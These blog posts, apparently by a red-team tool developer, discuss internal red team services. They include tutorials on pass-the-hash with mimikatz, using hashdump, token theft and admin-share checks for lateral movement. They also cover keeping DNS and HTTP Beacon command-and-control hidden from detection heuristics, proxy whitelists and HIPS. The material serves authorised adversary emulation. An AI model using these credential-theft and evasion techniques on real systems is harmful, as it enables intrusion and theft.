I see several red teams building long-term operations into their services construct. The idea is that no organizational unit exists in isolation of the others. The organizational units that commission engagements from their internal assets are not necessarily the organizational units that are most in need of a look from a professional red team. To deal with these situations, some red teams are receiving cart blanche to gain, elevate, and maintain access to different organizational units over long period time. These accesses are sometimes used to seed or benefit future engagements against different organizational units.

Long-term Operations serve another purpose. They allow the red team to work towards the “perfect knowledge” that a long-term embedded adversary would have. This perfect knowledge would include a detailed network map, passwords for key accounts, and knowledge about which users perform which activities that are of value to a representative adversary.

It’s dangerous to require that each red team engagement start from nothing with no prior knowledge of a target’s environment. A long-term embedded adversary with a multi-year presence in a network will achieve something that approximates perfect knowledge.

For some organizations, I’m a fan of this approach and I see several potential benefits to it. The perfect knowledge piece is one benefit, but that is something an organization could white card if they wanted to. There’s another key benefit: our common understanding of long-term offensive operations is weak at best. Maintaining and acting on access over a long period of time requires more than a good persistence script and a few VPS nodes. The organizations that take time to invest in and get good at this approach will find themselves with interesting insights about what it takes to keep and maintain access to their networks. These insights should help the organization make investments into technologies and processes that will create real pain for a long-term embedded actor.

War Games

Several organizations stage red vs. blue war games to train and evaluate network defense staff. These exercises usually take place in a lab environment with multiple blue teams working to defend their representative networks against a professional opposing force. The role of this opposing force is to provide a credible adversary to train participants and keep pressure on them throughout the event.

Each of these events is different due to their different goals. Some events white card the access step completely. Some also white card the perfect knowledge of the long-term embedded adversary. It all depends on the event’s training objectives and how the organiser’s want to use their professional red team assets.

To an outsider, large scale Red vs. Blue events look like a chaotic mess. The outsider isn’t wrong. Red vs. Blue events are a chaotic mess. They’re chaotic because they’re fast paced. Some compress a multi-year attack scenario into an event that spans days or weeks.

There’s value to these events though. These events provide a safe opportunity to exercise processes and team roles in a fast-paced setting. They’re also an opportunity to field immature or new technologies to understand the benefit they can provide. Unlike more structured tests, these events also give blue participants opportunities to observe and adapt to a thinking adversary. Done right, these events encourage full disclosure between red and blue at the end so participants can walk away with an understanding of how their blue TTPs affected the professional adversary.

Threat Scenarios / Cyber Security Exercises / Attack Simulations

Another use for red assets is to help design and execute cyber security exercises to train and assess network defense teams. These exercises usually start with a plausible scenario, a representative or real actor, and a realistic timeline.

The red asset’s job is to generate realistic observable activity for each part of the timeline. The red operator is given every white card they need to execute their observable effect. Each of these carefully executed items becomes a discussion point for later.

These exercises are a great way to validate procedures and train blue operators to use them. Each unique generated activity is also an opportunity to identify procedure and technology gaps in the organization.

While this concept is new-ish to security operations, it’s by no means new. NASA has had a concept of an Integrated Training Team led by a Simulation Supervisor since the beginning of the US space program. NASA’s lessons learned in this area is a worthwhile study for security professionals. When I think about emerging job role of the Threat Emulator, I see these folks as the equivalent of NASA’s Simulation Supervisors, but for Security Operations.

Who is doing this?

I see several red teams re-organizing themselves to serve their organizations in different ways from before. Established teams with custom tools for long-term operations are trying to retool for engagements that require full disclosure afterwards. Other teams mirror external consulting firms in their services. These teams are now trying to give their leadership a global long-term perspective on their organization’s security posture. Day-to-day these teams are working towards the credibility, capability, and skills to bring the benefits of long-term operations to their organization. I see a trend where many internal red teams are expanding their services to benefit their organization’s at the tactical and strategic levels. It’s an exciting time to be in this area.

h1

How to Pass-the-Hash with Mimikatz

May 21, 2015

I’m spending a lot of time with mimikatz lately. I’m fascinated by how much capability it has and I’m constantly asking myself, what’s the best way to use this during a red team engagement?

A hidden gem in mimikatz is its ability to create a trust relationship from a username and password hash. Here’s the mimikatz command to do this:

sekurlsa::pth /user:USERNAME /domain:DOMAIN /ntlm:HASH /run:COMMAND

The sekurlsa:pth command requires local administrator privileges. This command spawns the process you specify and modifies its access token. The local Windows system will still think the process was run by your current user. The parts of the token designed to support single sign-on will reference the username, domain, and password hash you provide.

If you use the above to spawn another payload (e.g., Meterpreter, Beacon); your actions that attempt to interact with a remote network resource will use the username, domain, and password hash you provide to authenticate.

In practice, spawning a new payload to pass-the-hash is a pain. It’s much easier to spawn a bogus process (e.g., calc.exe) and steal its token. Beacon’s steal_token command will impersonate a token from another process. The token stolen from our bogus process will continue to reference the username, domain, and password hash you provide. Any actions to interact with a remote resource, while Beacon holds this token, will pass the hash for us.

Let’s assume I have a foothold in a target environment and I’ve elevated my privileges. Here’s how I’d use this for lateral movement with Beacon:

1) Run hashdump to dump password hashes for the local users.

hashdump

2) Run mimikatz sekurlsa::pth /user:Administrator /domain:. /ntlm:… /run:”powershell -w hidden”

pth

We do powershell -w hidden to create a process without putting a Window on the desktop. Mimikatz doesn’t hide Windows for the processes it creates.

3) Use steal_token 1234 to steal the token from the PID created by mimikatz

stealtoken

4) Use shell dir \\TARGET\C$ to check for local admin rights

admincheck

5) Try one of the lateral movement recipes (wmic, sc, schtasks, at) from this blog post to take control of the system.

lateral

To get a feel for how this works, I’ve put together a video:

This method of pass-the-hash has several advantages over traditional pen tester methods. Which advantage resonates with you will depend on the situations you face.

When I work with a mature network defense team, I try to avoid non-asynchronous communication. This means I can not speed up my Beacon to tunnel PsExec or another Metasploit module through my Beacon. This interactive communication will get caught right away. This plays well with an asynchronous post-exploitation workflow.

This method also gives me a great deal of flexibility. I’m relying on Windows to pass my credential material for me. What I do to interact with a remote network resource is up to me. If I’m only interested in data, I can list and copy files via a UNC path to the target. If I want to execute code, I have options beyond the service control manager to do so. When dealing with a mature target, this is important.

Finally, I prefer to use native tools over hacker tools to carry out my actions. I favor native tools because they blend in better and they’re more likely to work consistently. This method of pass-the-hash caters well to this preference.

h1

An unnecessary addiction to DNS communication

May 14, 2015

I regularly hear stories from my users about how they got past a tough situation and had success that they claim was not possible without Cobalt Strike. As a developer, these emails are fun to read, and they give me a lot of job satisfaction.

One of the features these users love is DNS Beacon. Beacon is Cobalt Strike’s post-exploitation payload to model an advanced attacker. Beacon has DNS, HTTP, and SMB variants. The DNS Beacon is a flexible beast. It beacons over DNS, but downloads tasks over HTTP, DNS A records, or DNS TXT records. It’s possible to stage DNS Beacon over DNS TXT records or an HTTP GET request.

Many of my users use DNS Beacon to defeat very tough egress restrictions. That’s cool and for a while, we’ve had a free pass with DNS. Today, a few products are catching up to the idea that DNS is a communication channel attackers will abuse. We’re starting to see common sense heuristics to detect this abuse and help a network defense team identify and stop it.

Some of my users are feeling the pain of this. They write to me and ask for ideas on how to make Cobalt Strike’s DNS communication work against heuristic X. These are interesting emails because the right answer is context dependent.

Sometimes, there’s some play in DNS as a communication channel. Cobalt Strike’s Beacon is a flexible post-exploitation agent and I put a lot of power into my user’s hands. Other times, DNS communication is off of the table and it’s time to adapt. In this post, I’ll take you through my thoughts on these topics.

Staging over DNS

The most fragile part of the DNS communication options in Cobalt Strike is the staging process. DNS Beacon’s stager uses DNS TXT records to download Beacon and inject it into memory. I use TXT records to do this because it’s an efficient way to transmit a payload over DNS. By efficient, it’s still over one thousand requests. If an organization is watching for DNS abuse, this will stand out.

If staging is your pain point, you have the option to export the DNS Beacon without a payload stager. Attacks -> Packages -> Windows Executable (S) is the dialog to export a stageless Beacon. You get the option of raw position independent code, an executable, a service executable, PowerShell, a 32-bit DLL, and a 64-bit DLL. One of these options is bound to satisfy your needs to get a Beacon onto a box.

If your target can egress over HTTP, Cobalt Strike’s DNS Beacon can stage over HTTP too. I put this last because a lot of times folks use DNS Beacon to control systems that can’t directly reach the internet. We’ll go into this use case a little more in a moment.

Flexible DNS Communication

I mentioned earlier that the technologies that detect DNS communication are heuristics. If you feel like you’re getting detected, it would help to figure out how that detection works, and see if there’s a Cobalt Strike option to get around it.

First, Cobalt Strike communicates over DNS two different ways. The mode dns-txt command tells DNS Beacon to use DNS TXT records to download its tasks. This method of DNS communication is common in malware that uses DNS and it’s probably the method most prone to detection. I like the DNS TXT record channel, when I can get away with it, because it’s the more efficient of the two channels.

The mode dns command tells DNS Beacon to download its tasks with A records. If you have a 32 byte tasking, DNS Beacon will issue eight requests to download that tasking. Sometimes you can get away with DNS A records as a channel when TXT records won’t fly. Just know that it will take awhile for Beacon to download large taskings from you. To get the most from any tool, you should always know how it works and the limitations of each option.

To send data back to you, both the DNS A and DNS TXT record channels ask the target system to resolve [encoded and encrypted data].yourmaliciousdomain.com. This is a gross simplification, but it’s fine for this discussion.

Some technologies detect DNS abuse by looking for long hostnames in a DNS record request. Cobalt Strike’s Malleable C2 technology gives you control over this. The maxdns option allows you to restrict the length of these requests. It will take longer for DNS Beacon to send data back to you, but this option may also help you avoid detection.

Other technologies detect DNS abuse by looking at how many requests are made to a given domain in a short period of time. Sometimes, this threshold is high. If this is the case, here’s my advice:

1. Use the Malleable C2 option sleeptime to change the default sleep time between each Beacon interval. I recommend 1 to 3 minutes at a minimum for these situations.

2. Swear off interactive command and control. This means you do not get to lower the sleep time of your Beacon. You’ll need to conduct all of your post-exploitation in an asynchronous way. Asynchronous post-exploitation is the only way to operate against harder targets. There’s tradecraft and tool support for this. Both are getting better over time.

3. Use multiple domains with your DNS Beacon. If a technology blocks a domain, hopefully you’ll just lose use of that domain, but not your access. If a technology kills your process, that’s a different
situation altogether.

I primarily use DNS Beacon as a persistent lifeline to spawn an access back into a network. On those rare instances where DNS is the only possible channel[tm], I continue to follow best practice and split my infrastructure up into different tiers. I use a post-exploitation server for post-exploitation activity. I avoid any interactive activity from my long-haul server for persistent callbacks. If you’re convinced that DNS is your only channel and you’re under this type of scrutiny, I recommend you fortify your key accesses to separate infrastructure. You don’t want a post-exploitation misstep to get you kicked out of your target’s network.

I like HTTP footholds!

For my userland footholds in a network, I use the HTTP Beacon as my workhorse payload. If it’s possible for a user to browse to websites with Internet Explorer, it’s probably possible to egress with HTTP Beacon as well. Possible is different from turn-key though. To defeat tough egress restrictions, as with all hacking activities, you have to get enough of the details right.

First, I make sure to have fully qualified domain names for all pieces of my infrastructure. I never try to egress to an IP address. For really tough situations, I use redirectors heavily. I also take care to stage through one redirector and configure the beaconing step to happen through the others. Cobalt Strike separates these options for a reason.

Some proxy servers use URL whitelisting to defeat malicious activity. I once got past this with Malleable C2. I used parameter q “www.youtube.com” to add ?q=www.youtube.com to each GET and POST request. The device in place checked for a whitelisted string in the whole URL. It didn’t care where it was.

I also take steps to match my Malleable C2 profile to the workstations I expect to egress from. A low hanging fruit item is to make my User-Agent match the User-Agent of the browser the user most commonly uses. The System Profiler is a great reconnaissance technology to capture this information.

Does the target environment have a HIPS product that limits which processes can egress? Fine! You can play this game and win. One of my favorite tricks is to modify the macro attack to spawn Internet Explorer and inject my Beacon payload into it. The same option exists for Cobalt Strike’s Applet Attacks [just download the Applet Kit, modify it, recompile, and rock it out!]

Pay attention to the Content-Type header as well. Some proxy devices whitelist which Content-Types are allowed. Malleable C2 lets you make HTTP Beacon look like something other than an arbitrary binary blob. It’s great for these situations.

Pivoting with Beacon

I speculate that a lot of my users like DNS Beacon for the same reason I like it for persistence. DNS Beacon will likely communicate with you, when run as SYSTEM, and from servers that can’t normally egress. This is a fine use for DNS Beacon, but if you have one HTTP foothold as a user on a workstation–there’s a better way to assume control of other Beacons. Let’s talk about the SMB Beacon.

The SMB Beacon is a Beacon variant that uses a named pipe to link to another Beacon. All of the SMB Beacon’s tasks and output come and go through the parent Beacon. It’s possible to link multiple Beacons together into a chain.

I use SMB Beacon a lot for privilege escalation. I may know I can’t egress as SYSTEM, but if I run an SMB Beacon, I can egress through my Beacon running in a user process. It’s nice.

I also use SMB Beacon for lateral movement. Named pipes work for host to host communication and this traffic is encapsulated in SMB. Those juicy Windows workstations that can’t reach the internet often have port 445 open. The SMB Beacon is the perfect payload to control these servers and make them egress through a user process on a workstation. I’m a big fan of operating this way.

When HTTP egress is possible, anywhere on a network, DNS communication is not necessary. It’s much easier to use that foothold to help all of my SMB Beacons reach me.

What’s the point?

If a network architecture or defense technology successfully mitigates a tactic, then it’s time to switch tactics. No single technique is the right answer for all situation into perpetuity. If you’re finding yourself challenged by a defense, think about what it’s doing. Know your tools and their options. You may have some room to get past that defense and continue on your merry way. If that’s not enough, try something else. This ability to reason about defenses and adapt to a situation is the stuff of great red team operators.